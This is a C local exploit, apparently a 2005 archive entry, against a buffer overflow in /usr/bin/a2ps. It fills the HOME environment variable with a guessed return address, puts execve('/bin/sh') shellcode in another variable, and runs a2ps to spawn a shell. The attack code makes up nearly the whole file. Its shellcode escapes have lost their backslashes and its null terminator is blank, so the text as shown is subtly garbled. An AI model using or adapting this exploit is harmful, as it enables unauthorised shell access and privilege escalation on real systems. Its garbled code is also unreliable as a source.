/* Not added to Local Non Poc section /str0ke */

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
// by lizard / lizstyle[at]gmail.com
// greets go to slider/trog for helpin me
// not suid by default ;(
#define VULNTHING "/usr/bin/a2ps"
#define DEFRET 0xbffffffa - strlen(sc) - strlen(VULNTHING)
#define xnullbitch 1100
//i`m not a asm guru so i ripped this shellcode
//shellcode by  man shadow
char sc[] =
"x31xC9"              /* xor ecx,ecx     */
"x31xDB"              /* xor ebx,ebx     */
"x6Ax46"              /* push byte 70    */
"x58"                  /* pop eax         */
"xCDx80"              /* int 80h         */
"x51"                  /* push ecx        */
"x68x2Fx2Fx73x68"  /* push 0x68732F2F */
"x68x2Fx62x69x6E"  /* push 0x6E69622F */
"x89xE3"              /* mov ebx,esp     */
"x51"                  /* push ecx        */
"x53"                  /* push ebx        */
"x89xE1"              /* mov ecx,esp     */
"x99"                  /* cdq             */
"xB0x0B"              /* mov al,11       */
"xCDx80";             /* int 80h         */

int main(void) {

int ctr = 0;
char buffer[xnullbitch];
fprintf(stdout, "[*] 0x%8xn", (long) DEFRET);

for(ctr = 0; ctr < xnullbitch - 1; ctr += 4)
*(long *) &buffer[ctr] = (long) DEFRET;

buffer[xnullbitch - 1] = '';

if((setenv("HOME", buffer, 1)) == -1) {
perror("setenv()");
exit(1);
}

if((setenv("TOPX", sc, 1)) == -1) {
perror("setenv()");
exit(1);
}

if((execl(VULNTHING, VULNTHING, NULL)) == -1) {
perror("execl()");
exit(1);
}
return(0);
}

// www.Syue.com [2005-02-13]